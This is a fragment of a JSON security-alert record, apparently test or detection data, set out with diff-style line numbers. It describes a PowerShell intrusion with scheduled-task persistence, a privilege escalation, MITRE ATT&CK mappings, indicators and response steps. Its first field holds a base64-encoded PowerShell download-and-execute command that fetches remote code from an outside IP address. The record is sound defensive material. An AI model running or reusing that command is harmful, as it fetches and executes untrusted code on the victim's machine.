"command_line": "powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8ANAA1AC4AMwAzAC4AMwAyAC4AMQA1ADYALwAnACkA"
|
|
20
|
+
},
|
|
21
|
+
"network": {
|
|
22
|
+
"destination_ip": "45.33.32.156",
|
|
23
|
+
"destination_port": 443,
|
|
24
|
+
"protocol": "HTTPS",
|
|
25
|
+
"reputation": "malicious"
|
|
26
|
+
},
|
|
27
|
+
"persistence": {
|
|
28
|
+
"method": "Scheduled Task",
|
|
29
|
+
"name": "WindowsUpdateService"
|
|
30
|
+
},
|
|
31
|
+
"privilege_escalation": {
|
|
32
|
+
"attempted": true,
|
|
33
|
+
"new_privilege": "SYSTEM"
|
|
34
|
+
},
|
|
35
|
+
"mitre_attack": {
|
|
36
|
+
"tactics": [
|
|
37
|
+
"Execution",
|
|
38
|
+
"Persistence",
|
|
39
|
+
"Privilege Escalation",
|
|
40
|
+
"Command and Control"
|
|
41
|
+
],
|
|
42
|
+
"techniques": [
|
|
43
|
+
{
|
|
44
|
+
"id": "T1059.001",
|
|
45
|
+
"name": "PowerShell"
|
|
46
|
+
},
|
|
47
|
+
{
|
|
48
|
+
"id": "T1053",
|
|
49
|
+
"name": "Scheduled Task"
|
|
50
|
+
},
|
|
51
|
+
{
|
|
52
|
+
"id": "T1548.002",
|
|
53
|
+
"name": "UAC Bypass"
|
|
54
|
+
},
|
|
55
|
+
{
|
|
56
|
+
"id": "T1071.001",
|
|
57
|
+
"name": "Web Protocols"
|
|
58
|
+
}
|
|
59
|
+
]
|
|
60
|
+
},
|
|
61
|
+
"ioc": {
|
|
62
|
+
"ips": [
|
|
63
|
+
"45.33.32.156"
|
|
64
|
+
],
|
|
65
|
+
"processes": [
|
|
66
|
+
"powershell.exe"
|
|
67
|
+
],
|
|
68
|
+
"users": [
|
|
69
|
+
"testuser"
|
|
70
|
+
]
|
|
71
|
+
},
|
|
72
|
+
"response": {
|
|
73
|
+
"recommended_actions": [
|
|
74
|
+
"isolate_host",
|
|
75
|
+
"terminate_process",
|
|
76
|
+
"delete_scheduled_task",
|
|
77
|
+
"block_ip"
|
|
78
|
+
]
|
|
79
|
+
}
|
|
80
|
+
}
|